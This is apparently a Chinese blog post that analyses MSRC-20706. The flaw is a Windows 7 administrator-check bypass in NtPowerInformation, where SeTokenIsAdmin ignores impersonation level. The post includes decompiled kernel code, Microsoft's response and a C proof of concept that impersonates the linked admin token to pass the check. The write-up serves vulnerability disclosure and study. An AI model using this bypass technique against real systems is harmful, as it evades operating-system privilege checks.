• 【微软漏洞分析】一个未修复的问题 MSRC-20706 - Windows 7:NtPowerInformation 中的管理员检查绕过


    MSRC-20706

    摘要

    系统调用 NtPowerInformation 在执行某些特定的电源功能之前会检查调用者是管理员。检查在 PopUserIsAdmin 函数中完成。
    在 Windows 7 上,此检查是可绕过的,因为 SeTokenIsAdmin 函数不考虑令牌的模拟级别,并且其余代码也不考虑它。因此,您可以将管理员的令牌冒充为普通用户(通过链接令牌或绑架系统令牌)并调用受保护的函数。

    代码分析

    Ntdll.dll中NtPowerInformation函数直接调用NTOSKRNL.EXE中的NtPowerInformation函数,部分代码如下:

    NTSTATUS __stdcall NtPowerInformation(POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength)
    {
      ......
      v5 = KeGetCurrentThread()->PreviousMode;
      PreviousMode[0] = v5;
      v61 = PsGetCurrentThreadProcessId();
      if ( InputBuffer )
      {
        v6 = InputBufferLength;
      }
      else
      {
        v6 = 0;
        InputBufferLength = 0;
      }
      if ( !v6 )
        Src = 0;
      if ( !Address )
        OutputBufferLength = 0;
      if ( !OutputBufferLength )
        Address = 0;
      if ( v5 )
      {
        if ( InformationLevel == SystemPowerStateHandler
          || InformationLevel == SystemPowerStateNotifyHandler
          || InformationLevel == ProcessorPerfStates
          || InformationLevel == ProcessorCap
          || InformationLevel == ProcessorIdleStates
          || InformationLevel == SystemPowerLoggingEntry
          || InformationLevel == TraceApplicationPowerMessage
          || InformationLevel == TraceApplicationPowerMessageEnd
          || InformationLevel == PowerShutdownNotification
          || InformationLevel == MonitorCapabilities
          || InformationLevel == SessionPowerInit
          || InformationLevel == SessionDisplayState
          || InformationLevel == ProcessorIdleDomains
          || InformationLevel == NotifyUserModeLegacyPowerEvent
          || InformationLevel == SetPowerSettingValue )
        {
    LABEL_61:
          v7 = -1073741790;
          goto LABEL_205;
        }
        ms_exc.registration.TryLevel = 0;
        if ( (InformationLevel == GetPowerRequestList || InformationLevel == WakeTimerList) && !PopUserIsAdmin() )
          goto LABEL_29;
        if ( Src )
        {
          if ( (InformationLevel == AdministratorPowerPolicy
             || InformationLevel == ProcessorLoad
             || InformationLevel == GroupPark
             || InformationLevel == SystemHiberFileSize)
            && !PopUserIsAdmin() )
          {
    
      ......
    }      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    PopUserIsAdmin函数会检查是否当前是否为管理员,我们继续看代码:

    BOOLEAN __stdcall PopUserIsAdmin()
    {
      void *v0; // eax
      BOOLEAN v1; // bl
      struct _SECURITY_SUBJECT_CONTEXT SubjectContext; // [esp+8h] [ebp-10h] BYREF
    
      SeCaptureSubjectContext(&SubjectContext);
      SeLockSubjectContext(&SubjectContext);
      v0 = SubjectContext.ClientToken;
      if ( !SubjectContext.ClientToken )
        v0 = SubjectContext.PrimaryToken;
      v1 = SeTokenIsAdmin(v0);
      SeUnlockSubjectContext(&SubjectContext);
      SeReleaseSubjectContext(&SubjectContext);
      return v1;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    注意到SeTokenIsAdmin是检查的关键函数

    BOOLEAN __stdcall SeTokenIsAdmin(PACCESS_TOKEN Token)
    {
      return SepSidInToken((int)Token, SeAliasAdminsSid, 0, 0, 0, 0);
    }
    
    bool __userpurge SepSidInToken@<al>(int a1@<eax>, void *a2@<edx>, void *a3, char a4, char a5, char a6)
    {
      unsigned int *v6; // esi
    
      v6 = (unsigned int *)(a1 + 336);
      if ( !a5 )
        v6 = (unsigned int *)(a1 + 200);
      return SepSidInTokenSidHash(a2, v6, a3, a4, a5, a6);
    }
    
    bool __userpurge SepSidInTokenSidHash@<al>(void *a1@<edx>, unsigned int *a2@<esi>, void *a3, char a4, char a5, char a6)
    {
      bool result; // al
      const void **v7; // eax
      const void *v8; // eax
    
      if ( a3 && RtlEqualSid(SePrincipalSelfSid, a1) )
        a1 = a3;
      result = 1;
      if ( a6 && RtlEqualSid(SeOwnerRightsSid, a1) )
        return result;
      v7 = RtlSidHashLookup(a2, (unsigned __int8 *)a1);
      if ( !v7
        || (a5 || v7 != (const void **)a2[1] || ((_BYTE)v7[1] & 0x10) != 0 && !a4)
        && (v8 = v7[1], ((unsigned __int8)v8 & 4) == 0)
        && (!a4 || ((unsigned __int8)v8 & 0x10) == 0) )
      {
        result = 0;
      }
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    可以看到SeTokenIsAdmin的下级函数中没有检查令牌的模拟级别,所以这里可以从中模拟级别提升来执行。

    微软反馈

    我们不认为这是 UAC 问题(这是描述 IL 相关提升问题的典型方式),使用链接令牌是 PoC 实现问题,有可能通过窃取管理员级别的令牌以普通用户身份运行时的其他方式(例如 BITS)。该代码显然错误地检查了当前模拟令牌以获取构成已定义安全边界的管理员权限。提供了 OSR 论坛帖子的链接(http://www.osronline.com/showthread.cfm?link=201029)他们自己的 Ken Johnson 为这个确切的安全问题提供了警告。也就是说,它承认绕过检查没有明显的严重安全隐患。

    POC

    附件是一个简单的 PoC,它演示了在 Windows 7 上执行的问题。要重现,请按照以下步骤操作。

    1. 确保以拆分令牌管理员身份运行,这是因为 PoC 使用链接令牌来获取管理员令牌。对于普通用户,您可以从服务中捕获令牌。
      2)执行PoC,它应该做调用,一个没有模拟,一个有模拟。

    预期结果:
    两个调用都应该返回 STATUS_ACCESS_DENIED (0xC0000022)

    观察结果:
    第一次检查以 STATUS_ACCESS_DENIED 失败,而第二次检查以 STATUS_SUCCESS 成功。

    #include 
    #include 
    #include 
    #include 
    
    HANDLE GetLinkedToken()
    {
    	HANDLE linked_token;
    	HANDLE hToken;
    	DWORD dwRetLen;
    
    	OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
    
    	if (GetTokenInformation(hToken, (TOKEN_INFORMATION_CLASS)19, &linked_token, sizeof(linked_token), &dwRetLen))
    	{
    		printf("Got Token: %p\n", linked_token);
    
    		return linked_token;
    	}
    	else
    	{
    		printf("Error: %d\n", GetLastError());
    	}
    
    	return NULL;
    }
    
    extern "C" LONG NTAPI NtPowerInformation(int level, void* in, unsigned long len, void* out, unsigned long outlen);
    
    int _tmain(int argc, _TCHAR* argv[])
    {
    	std::vector<char> buf(10 * 1024);
    
    	LONG ret = NtPowerInformation(45, NULL, 0, &buf[0], buf.size());
    	
    	printf("Call, No Impersonation: %08X\n", ret);
    	
    	HANDLE hLinked = GetLinkedToken();
    	if (hLinked)
    	{
    		ImpersonateLoggedOnUser(hLinked);
    		ret = NtPowerInformation(45, NULL, 0, &buf[0], buf.size());
    		printf("Call, Impersonation: %08X\n", ret);
    		RevertToSelf();
    	}
    
    	return 0;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    参考

    https://bugs.chromium.org/p/project-zero/issues/detail?id=127

  • 相关阅读:
    python中调试pdb库用法详解
    JAVA——通过自定义注解实现每次程序启动时,自动扫描被注解的方法,获取其路径及访问该路径所需的权限并写入数据库
    RabbitMQ工作模式-主题模式
    Linux学习笔记--Linux文件管理类命令详解
    Android SurfaceFlinger——Vsync信号发送(五十二)
    【数据分析】时间序列
    ELK+kafka+filebeat企业内部日志分析系统
    穿越障碍:最小路径和的高效算法比较【python力扣题64】
    解决golang 的内存碎片问题
    对Java初学者最好的建议
  • 原文地址:https://blog.csdn.net/fastergohome/article/details/127667434